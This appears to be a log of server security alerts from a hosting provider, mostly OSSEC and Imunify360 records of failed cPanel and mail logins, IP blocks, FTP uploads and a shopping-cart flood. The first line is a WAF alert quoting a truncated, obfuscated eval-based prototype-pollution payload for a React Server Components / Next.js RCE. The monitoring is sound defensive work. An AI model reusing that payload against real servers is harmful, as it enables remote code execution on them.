IM360 WAF: RCE via prototype pollution in React Server Components < 19.0.1/19.1.2/19.2.1 or Next.js < 15.0.5/16.0.7 (CVE-2025-55182, CVE-2025-66478)||MVN:ARGS:0||MV:{\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\",\"data_712ffa2c\":0,\"_response\":{\"_prefix\":\"var iy=arguments['\\\\x31'];var xlqt=iy;try{var _v=((0,eval)(global[[\\\"Bu\\\",\\\"ffe\\\",\\\"r\\\


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:53:45 ns5 pure-ftpd[2229226]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/index.php uploaded  (767 bytes, 6.78KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:54:56 ns5 pure-ftpd[2229863]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/index.php uploaded  (767 bytes, 6.79KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.232.243.59
country_id: 1814991
description:
Jun 13 06:54:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.232.243.59 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
description:
Jun 13 06:55:25 ns5 pure-ftpd[2230162]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] Deleted //home/zmmjcejv/public_html/index.php


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
description:
Jun 13 06:55:37 ns5 pure-ftpd[2230231]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [INFO] Can't change directory to /home/zmmjcejv/public_html/launetogo.php: Not a directory


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:56:34 ns5 pure-ftpd[2230632]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/wp-admin/network/launetogo.php uploaded  (0 bytes, 0.00KB/sec)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 06:59:13 ns5 pure-ftpd[2231733]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/.htaccess uploaded  (2254 bytes, 19.93KB/sec)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.46.164.236
country_id: 3865483
description:
[2026-06-13 07:00:54 +0000] info [cpaneld] 181.46.164.236 - ciieeinternat "GET /login/?login_only=1&user=ciieeinternat&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternat (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 87.121.124.98
country_id: 1522867
description:
[2026-06-13 07:01:06 +0000] info [cpaneld] 87.121.124.98 - ciieeinter "GET /login/?login_only=1&user=ciieeinter&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinter (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.24.93.157
country_id: 1605651
description:
[2026-06-13 07:00:25 +0000] info [cpaneld] 223.24.93.157 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.80.108
country_id: 1512440
description:
[2026-06-13 07:00:30 +0000] info [cpaneld] 213.230.80.108 - ciieeinternational "GET /login/?login_only=1&user=ciieeinternational&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternational (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 95.24.119.253
country_id: 2017370
description:
[2026-06-13 07:00:37 +0000] info [cpaneld] 95.24.119.253 - ciieeinternationa "GET /login/?login_only=1&user=ciieeinternationa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.246.170
country_id: 1733045
description:
[2026-06-13 07:00:50 +0000] info [cpaneld] 180.75.246.170 - ciieeinternati "GET /login/?login_only=1&user=ciieeinternati&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternati (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.179.72.76
country_id: 2542007
description:
[2026-06-13 07:01:08 +0000] info [cpaneld] 160.179.72.76 - ciieeinte "GET /login/?login_only=1&user=ciieeinte&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinte (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.6.124.159
country_id: 2017370
description:
[2026-06-13 07:00:40 +0000] info [cpaneld] 185.6.124.159 - ciieeinternation "GET /login/?login_only=1&user=ciieeinternation&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternation (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.181.121.62
country_id: 3895114
description:
[2026-06-13 07:00:58 +0000] info [cpaneld] 45.181.121.62 - ciieeinterna "GET /login/?login_only=1&user=ciieeinterna&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinterna (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.136.148.214
country_id: 99237
description:
[2026-06-13 07:00:34 +0000] info [cpaneld] 185.136.148.214 - ciieeinternationalorg "GET /login/?login_only=1&user=ciieeinternationalorg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieeinternationalorg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.75.243.197
country_id: 1733045
description:
[2026-06-13 07:01:14 +0000] info [cpaneld] 180.75.243.197 - ciieein "GET /login/?login_only=1&user=ciieein&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciieein (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 213.230.88.123
country_id: 1512440
description:
[2026-06-13 07:01:22 +0000] info [cpaneld] 213.230.88.123 - ciiee "GET /login/?login_only=1&user=ciiee&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user ciiee (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:05:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:23560: 535 Incorrect authentication data (set_id=banned@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39520: 535 Incorrect authentication data (set_id=web15@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:05:54 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:05:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:05:59 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:50336: 535 Incorrect authentication data (set_id=itest@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:05:57 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:46184: 535 Incorrect authentication data (set_id=podium@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:06:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:35364: 535 Incorrect authentication data (set_id=preston@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:06:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:06:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:19442: 535 Incorrect authentication data (set_id=sauvegarde@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:06:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:06:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:07:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:11286: 535 Incorrect authentication data (set_id=lenovo@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:07:35 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:08:10 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:23246: 535 Incorrect authentication data (set_id=michel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:07:30 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:07:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:07:32 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:37786: 535 Incorrect authentication data (set_id=prensa@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:07:37 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:27260: 535 Incorrect authentication data (set_id=band@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:08:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:08:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:11744: 535 Incorrect authentication data (set_id=pcgoadmin@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:08:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:08:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:08:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:40960: 535 Incorrect authentication data (set_id=msr@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:08:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35888: 535 Incorrect authentication data (set_id=aldo@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 82.102.22.184
country_id: 3144096
description:
82.102.22.184 - - [13/Jun/2026:07:08:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6986391&pdata=https%253A%252F%252Fwages.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334518 HTTP/2.0" 302 0 wages.tg "https://wages.tg/" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:82.102.22.184


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:09:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:09:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:09:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:09:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:62088: 535 Incorrect authentication data (set_id=mougenot@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:09:19 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:50432: 535 Incorrect authentication data (set_id=mule@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:09:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:3484: 535 Incorrect authentication data (set_id=rent@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:10:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:10:20 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:7136: 535 Incorrect authentication data (set_id=555@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:10:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:54280: 535 Incorrect authentication data (set_id=faktor@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:10:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:10:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:42260: 535 Incorrect authentication data (set_id=release@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:10:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:59572: 535 Incorrect authentication data (set_id=faktor@ns5.netmaster.tg)


plugin: ossec
rule: 11313
name: FTP file uploaded to server
description:
Jun 13 07:11:57 ns5 pure-ftpd[2237695]: (laun@launetogo.tg@vps-ff8b824d.vps.ovh.net) [NOTICE] //home/zmmjcejv/public_html/google6b8c2a1e0b3dc12d.html uploaded  (53 bytes, 0.47KB/sec)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:11:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47268: 535 Incorrect authentication data (set_id=cb@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:11:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:45674: 535 Incorrect authentication data (set_id=kaplan@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:11:24 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:63406: 535 Incorrect authentication data (set_id=stream@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:11:22 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:11:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:11:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:12:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:64390: 535 Incorrect authentication data (set_id=eec@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:12:20 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:12:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:12:56 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:35250: 535 Incorrect authentication data (set_id=aomenzuqiu@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:12:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:12:22 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:39300: 535 Incorrect authentication data (set_id=idps@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:12:23 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:55254: 535 Incorrect authentication data (set_id=photos0@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:13:25 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 180.242.194.234
country_id: 1643084
description:
[2026-06-13 07:14:00 +0000] info [cpaneld] 180.242.194.234 - wage "GET /login/?login_only=1&user=wage&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wage (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 31.202.55.143
country_id: 690791
description:
[2026-06-13 07:14:06 +0000] info [cpaneld] 31.202.55.143 - wa "GET /login/?login_only=1&user=wa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user wa (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:13:16 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:13:18 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:56048: 535 Incorrect authentication data (set_id=nk@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-13 07:13:22 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:44962: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.181
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2343||QS:add-to-cart=2343||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:13:27 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:31108: 535 Incorrect authentication data (set_id=dokdok@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:13:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:13:29 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:47188: 535 Incorrect authentication data (set_id=opendkim@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:14:31 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:39072: 535 Incorrect authentication data (set_id=step1@ns5.netmaster.tg)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:15:04 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:17372: 535 Incorrect authentication data (set_id=ddl@ns5.netmaster.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:14:25 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:47542: 535 Incorrect authentication data (set_id=israel@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:14:23 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: modsec
rule: 77987062
name: IM360 WAF: GET add-to-cart flood pattern
abuser: 112.86.225.181
country_id: 1814991
domain: cafe.tg
description:
IM360 WAF: GET add-to-cart flood pattern||URI:/index.php?add-to-cart=2333||QS:add-to-cart=2333||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:14:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:55774: 535 Incorrect authentication data (set_id=forums@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:14:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:14:29 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.49
country_id: 130758
description:
Jun 13 07:15:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.49 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.44
country_id: 130758
description:
Jun 13 07:15:27 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.44 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.44
country_id: 130758
description:
2026-06-13 07:15:17 dovecot_login authenticator failed for H=(localhost) [81.30.98.44]:47364: 535 Incorrect authentication data (set_id=cei@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
Jun 13 07:15:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.30.98.144 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [13/Jun/2026:07:15:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9802907&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334917 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.144
country_id: 130758
description:
2026-06-13 07:15:21 dovecot_login authenticator failed for H=(localhost) [81.30.98.144]:39106: 535 Incorrect authentication data (set_id=tests@ns5.netmaster.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [13/Jun/2026:07:15:27 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9791641&pdata=https%253A%252F%252Fc2ie.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781334925 HTTP/2.0" 302 0 c2ie.tg "https://c2ie.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.30.98.49
country_id: 130758
description:
2026-06-13 07:15:33 dovecot_login authenticator failed for H=(localhost) [81.30.98.49]:30878: 535 Incorrect authentication data (set_id=samsungtv@ns5.netmaster.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.30.98.144
country_id: 130758
description:
